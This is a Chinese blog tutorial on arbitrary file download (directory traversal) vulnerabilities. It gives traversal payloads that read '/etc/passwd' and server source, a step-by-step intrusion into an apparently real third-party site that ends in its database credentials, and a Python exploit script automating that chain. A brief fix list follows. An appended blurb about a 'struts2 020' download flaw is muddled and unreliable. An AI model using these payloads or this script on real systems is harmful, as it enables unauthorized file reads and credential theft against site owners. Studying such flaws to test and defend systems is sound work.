Web安全(任意文件下载)

任意文件下载漏洞

一 . 漏洞原理
任意文件下载 , 顾名思义 , 就是可以下载网站上面的任意文件.
一些网站提供文件下载的功能,但是如果对下载的文件没有做限制,直接通过绝对路径对其文件进行下载,那么,就可以利用这种方式下载服务器的其他文件。
二 .漏洞危害
危害大概可以分为两类:
1. 下载网站源码
2. 查看网站敏感文件( 数据库账户密码,配置文件等等 )
3. 如果获得了数据库账户密码,且对方网站开启了PHPmyadmin(Web端管理数据库),可登入后直接Getshell
三 . 可能出现的参数汇总
从url中看,以下参数容易出现任意文件下载漏洞

download.php?path=
download.php?file=
down.php?file=
data.php?file=

四 . 漏洞验证

比如URL : www.xxxx/download.php?path=/test/test.txt
  1. 在路径中加入 /a/…/来测试 ,因为我们多了一个路径,又返回到了上层,对结果不影响.看网站返回是否和之前一致
www.xxxx/download.php?path=/test/a/../test.txt
  1. 替换路径为 ./…/…/…/…/…/etc/passwd (Linux OS,提示: …/可以尽量多,对最终结果不影响)
www.xxxx/download.php?path=./../../../../../etc/passwd
  1. 直接下载路径前面的源代码: download.php?path=./download.php , 看是否可以下载下来
www.xxxx/download.php?path=./download.php

五. 漏洞实例

  1. 这里我们实战演示,首先找到下载的功能点 : 下载链接如下:
http://xxxx/download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.48.docx&fname=孤狗少年

在这里插入图片描述

  1. 重点来看其下载的路径:
download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.48.doc

这里它是通过绝对路径直接下载的,那么既有可能存在任意文件下载漏洞.
3. 漏洞验证:
这里我们将fpath后面的路径改为download.php测试:

download.php?fpath=./download.php

在这里插入图片描述

  1. 可以看到直接下载了download.php源代码,说明存在任意文件下载. 这里我们通过得到代码里面的信息再进一步获取其敏感信息

  2. 这里我们看到了 jasonwang826/jasonwang826.inc ,换路径,接着干
    在这里插入图片描述

  3. 再来读取 JPDO.ini
    在这里插入图片描述

  4. 这里读取不到了,这是常见的一种问题.原因很大就是路径不对.这里我们把JPDO.ini跟到jasonwang826/后面看看
    在这里插入图片描述

  5. 果然,成功读取到数据库账户密码! biu特否

六. 漏洞利用Exp

import requests
import re
"""
	@ 模拟手工过程一步步获取相关文件并访问
	@ 注: 本代码仅供学习参考,请勿非法用途
"""
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
}

def check():
    # 通过添加在路径里面添加 a/../来测试是否存在任意文件下载漏洞
    url = "http://xxxx/download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.50.docx&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"
    url2 = "http://xxxx/download.php?fpath=/jasonwang826-data/a/../sys/resource/fpath_word.50.docx&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"

    req = requests.get(url=url,headers=headers)
    req2 = requests.get(url=url2,headers=headers)

    if req.status_code == req2.status_code:
        print("该网站存在任意文件下载漏洞")
        exp()
    else:
        print("该网站不存在任意文件下载漏洞")

def exp():
    url = "http://xxxx/download.php?fpath=download.php&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"
    req = requests.get(url=url,headers=headers)
    # print(req.text)
    # 正则匹配代码中包含的配置文件
    result = re.findall(r"require_once '(.*?)';", req.text, re.S | re.M)
    print("第一次读取到的目录为:",result[0])
    url2 = f"http://xxxx/download.php?fpath={result[0]}"
    print("开始读取:",url2)
    req2 = requests.get(url=url2,headers=headers)
    # print(req2.text)
    result2 = re.findall(r".'/(.*?)'", req2.text, re.S | re.M)
    print("第二次读取到的目录为:",result2[3])
    url3 = f"http://xxxx/download.php?fpath=jasonwang826/{result2[3]}"   # 路径在jasonwang826/下
    print("开始读取:",url3)
    req3 = requests.get(url=url3,headers=headers)
    print("读取成功,网站敏感信息如下:")
    print(req3.text)


if __name__ == '__main__':
    check()

最终结果:
在这里插入图片描述

七. 漏洞修复

  1. 下载路径设置不可控,而是程序自动生成后保存在数据库中,根据ID进行下载
  2. 对参数做严格的过滤,比如禁止…/等符号.不让其进行目录遍历
  • 9
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
struts2是一种基于Java的开源框架,用于开发Web应用程序。在早期版本的struts2中存在一个安全漏洞,即struts2 020任意文件下载。这个漏洞允许攻击者下载服务器上的任意文件,可能是敏感信息或者可执行文件。 当一个struts2应用程序被配置为使用动态方法调用(DMI)时,攻击者可以构造一个恶意的URL请求,通过漏洞获取和下载任意文件。攻击者可以通过URL中的特殊字符和参数来伪造请求,并使用已知文件路径的结尾来读取文件内容或执行文件。 为了解决这个漏洞,struts2社区发布了相应的安全补丁。开发者应该及时升级他们的struts2版本,并遵循最佳实践来防止任意文件下载漏洞。 以下是一些防止struts2 020任意文件下载漏洞的措施: 1. 及时更新struts2版本:确保使用的是最新的稳定版本,这样可以最大程度地减少已知漏洞带来的风险。 2. 输入验证和过滤:对用户输入进行验证和过滤,尤其是文件的路径或文件名参数。可以使用安全文件路径自检函数,如struts2提供的FileUploadInterceptor。 3. 安全配置:在struts.xml配置文件中,禁用动态方法调用(DMI),并限制只允许访问必要的Action方法。 4. 强化访问控制:确保只有授权用户能够访问敏感文件,并在服务器上采取必要的安全措施来限制对文件的访问。 5. 安全审计:定期进行安全审计,查找潜在的漏洞和弱点,并修复它们。 总的来说,struts2 020任意文件下载漏洞是一个严重的安全威胁。为了保护应用程序和服务器的安全,开发者应该及时升级版本,并采取适当的安全措施来防止攻击者利用这个漏洞获取敏感信息或执行恶意文件

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值